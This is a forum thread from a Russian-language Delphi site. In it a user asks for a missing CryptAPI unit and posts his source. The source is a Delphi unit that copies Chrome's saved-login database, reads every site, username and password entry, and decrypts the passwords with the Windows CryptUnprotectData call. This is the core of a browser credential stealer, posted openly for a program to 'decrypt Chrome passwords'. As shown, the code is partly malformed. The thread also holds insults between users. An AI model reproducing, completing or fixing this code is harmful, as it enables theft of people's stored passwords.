Форум по Delphi программированию

Delphi Sources



Вернуться   Форум по Delphi программированию > Все о Delphi > [ "Начинающим" ]
Ник
Пароль
Регистрация <<         Правила форума         >> FAQ Пользователи Календарь Поиск Сообщения за сегодня Все разделы прочитаны

Ответ
 
Опции темы Поиск в этой теме Опции просмотра
  #1  
Старый 07.11.2012, 14:03
vladislav147 vladislav147 вне форума
Прохожий
 
Регистрация: 12.08.2012
Сообщения: 28
Репутация: 9
Вопрос НАРОД, ГДЕ CryptAPI.dcu ?

Вот я искал ВЕЗДЕ CryptAPI.dcu так как он в Uses! Мне он реально нужен !!! Но .dcu нигде нет ! ... реально только всякие "Чудо проэкты с ним !"...

Имнно не CrypoAPI.dcu а CryptAPI.dcu !

ПОЖАЛУЙСТА ПОМОГИТЕ !!!

P.S. Спасибо !!!!!
Ответить с цитированием
  #2  
Старый 07.11.2012, 23:18
robt robt вне форума
Активный
 
Регистрация: 17.02.2011
Сообщения: 297
Репутация: -1806
По умолчанию

вас дебилов, где то специально учат после каждого слова восклицательный знак ставить?
Ответить с цитированием
Этот пользователь сказал Спасибо robt за это полезное сообщение:
vladislav147 (08.11.2012)
  #3  
Старый 08.11.2012, 08:53
Аватар для M.A.D.M.A.N.
M.A.D.M.A.N. M.A.D.M.A.N. вне форума
Sir Richard Abramson
 
Регистрация: 05.04.2008
Сообщения: 5,505
Версия Delphi: XE10
Репутация: выкл
По умолчанию

Выложи исходник, может банальная опечатка.
__________________
— Как тебя понимать?
— Понимать меня не обязательно. Обязательно меня любить и кормить вовремя.


На Delphi, увы, больше не программирую.
Рекомендуемая литература по программированию
Ответить с цитированием
Этот пользователь сказал Спасибо M.A.D.M.A.N. за это полезное сообщение:
vladislav147 (08.11.2012)
  #4  
Старый 08.11.2012, 17:12
Аватар для PhoeniX
PhoeniX PhoeniX вне форума
Always hardcore!
 
Регистрация: 04.03.2009
Адрес: СПб
Сообщения: 3,239
Версия Delphi: GCC/FPC/FASM
Репутация: 62149
По умолчанию

robt, 3.1. Пусть я с тобой и согласен, но правила стоит всё таки соблюдать.
__________________
Оставайтесь хорошими людьми...
VK id2634397, ds [at] phoenix [dot] dj
Ответить с цитированием
Этот пользователь сказал Спасибо PhoeniX за это полезное сообщение:
vladislav147 (08.11.2012)
  #5  
Старый 08.11.2012, 17:29
vladislav147 vladislav147 вне форума
Прохожий
 
Регистрация: 12.08.2012
Сообщения: 28
Репутация: 9
По умолчанию

Цитата:
Сообщение от M.A.D.M.A.N.
Выложи исходник, может банальная опечатка.

Код:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
unit Unit1;
 
interface
 
uses
Windows, Classes, SysUtils, Registry, SQLiteTable3, CryptAPI, SQLite3DLL,
     BTMemoryModule, ActiveX, shlObj, StrUtils;
 
type
  TForm1 = class(TForm)
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
   Function GetChromePasswords:TStringList;
   Function GetShellFolder(CSIDL:integer):String;
  end;
 
var
  Form1: TForm1;
 
implementation
 
{$R *.dfm}
 
interface
  
function GetShellFolder(CSIDL: integer): string;
var
  pidl                   : PItemIdList;
  FolderPath             : string;
  SystemFolder           : Integer;
  Malloc                 : IMalloc;
begin
  Malloc := nil;
  FolderPath := '';
  SHGetMalloc(Malloc);
  if Malloc = nil then
  begin
    Result := FolderPath;
    Exit;
  end;
  try
    SystemFolder := CSIDL;
    if SUCCEEDED(SHGetSpecialFolderLocation(0, SystemFolder, pidl)) then
    begin
      SetLength(FolderPath, max_path);
      if SHGetPathFromIDList(pidl, PChar(FolderPath)) then
      begin
        SetLength(FolderPath, length(PChar(FolderPath)));
      end;
    end;
    Result := FolderPath;
  finally
    Malloc.Free(pidl);
  end;
end;
  
Function CreateCopyName(FileName:string):String;
begin
Result:=FileName+' - Copy';
end;
  
//Chrome Komplett
//Chrome Hilfsfunktion
Function UncryptChromePW(MS:TMemoryStream):string;
var DBin, DBOut:Data_Blob;
    s:string;
    HArr:Array of Byte;
    i:integer;
    sHex:string;
    P:PByte;
begin
//cbData member holds the length of the pbData member's byte string
//  that contains the text to be encrypted.
  
MS.Position:=0;
DBOut.cbData := 0;
DBOut.pbData := nil;
DBIn.cbData := MS.Size;
GetMem(DBIn.pbData, DBIn.cbData);
DBIn.pbData:=MS.Memory;
if CryptUnprotectData(@DBIn,
                    nil,
                    nil,
                    nil,
                    nil,
                    0,
                    @DBOut) then
begin
  P:=DBOut.pbData;
  SetLength(HArr,0);
  SetLength(HArr,DBOut.cbData);
  for i:=0 to DBOut.cbData-1 do begin
    HArr[i]:=P^;
    inc(P);
  end;
  s:='';
for i:=0 To High(HArr) do begin
  sHex:=IntToHex(HArr[i],1);
  s:=s+chr(HArr[i]);
end;
result := s;
end
else begin
  
end;
DBOut.pbData:=NIL;
LocalFree(Cardinal(DBOut.pbData));
  
end;
  
//Chrome-Main-Funktion
Function GetChromeLoginData(LoginPath:string):TStringList;
var MS:TMemoryStream;
    SQLiteDataBase:TSQLiteDatabase;
    SQLiteTable:TSQLiteTable;
    i:integer;
begin
Result:=TStringList.Create;
try
SQLiteDatabase := TSQLiteDatabase.Create(LoginPath);
SQLIteTable := SQLiteDatabase.GetTable('SELECT * From logins');
if SQLIteTable.Count > 0 then begin
 for i := 0 to SQLiteTable.Count -1 do begin
    Result.Add(SQLIteTable.FieldAsString(SQLIteTable.FieldIndex['origin_url']));
    Result.Add(SQLIteTable.FieldAsString(SQLIteTable.FieldIndex['username_value']));
    MS := SQLIteTable.FieldAsBlob(SQLIteTable.FieldIndex['password_value']);
    //showmessage(inttostr(ms.Size));
    Result.Add(UncryptChromePw(MS));
    SQLIteTable.Next;
  end;
end else Result.Add('Keine Passw?rter gespeichert!');
SQLIteTable.Free;
SQLiteDatabase.Free;
except on e:exception do Result.Add('Chrome-Failed'); end;
end;
  
Function GetChromePasswords:TStringList;
var path:string;
    i:integer;
    SL:TStringList;
begin
Result:=TStringList.Create;
try
path:=GetShellFolder(28); //User/Appdata/Local
path:=path+'\Google\Chrome\User Data\Default\Login Data';
if FileExists(path) then begin
  CopyFile(PChar(path),PChar(CreateCopyName(path)),false);
  path:=CreateCopyName(path);
  SL:=TStringList.Create;
  SL.AddStrings(GetChromeLoginData(path));
  for i:=0 to SL.Count-1 do begin
    Result.Add(SL[i]);
  end;
  DeleteFile(path);
end else
  Result.Add('Chrome-File not Found!');
except on e:exception do Result.Add('Chrome failed!'); end;
end;
 
end.

Компилирую прогу для расшифровки пароля от Google Chrome ...

Robt - НАХЕР ПОШЁЛ !
Ответить с цитированием
  #6  
Старый 08.11.2012, 17:40
robt robt вне форума
Активный
 
Регистрация: 17.02.2011
Сообщения: 297
Репутация: -1806
По умолчанию

Цитата:
Сообщение от PhoeniX
но правила стоит всё таки соблюдать.
не забудь об этом для начала напомнить ТС
Ответить с цитированием
  #7  
Старый 08.11.2012, 22:10
Аватар для angvelem
angvelem angvelem вне форума
.
 
Регистрация: 18.05.2011
Адрес: Омск
Сообщения: 3,970
Версия Delphi: 3,5,7,10,12,XE2
Репутация: выкл
По умолчанию

С учётом использования модуля BTMemoryModule, можно предположить о самописности CryptAPI. И только автор исходника знает, что в нём используется.
__________________
Je venus de nulle part
55.026263 с.ш., 73.397636 в.д.
Ответить с цитированием
Ответ


Delphi Sources

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать темы
Вы не можете отвечать на сообщения
Вы не можете прикреплять файлы
Вы не можете редактировать сообщения

BB-коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Быстрый переход


Часовой пояс GMT +3, время: 20:52.


 

Сайт

Форум

FAQ

Соглашения

Прочее

 

Copyright © Форум "Delphi Sources" by BrokenByte Software, 2004-2025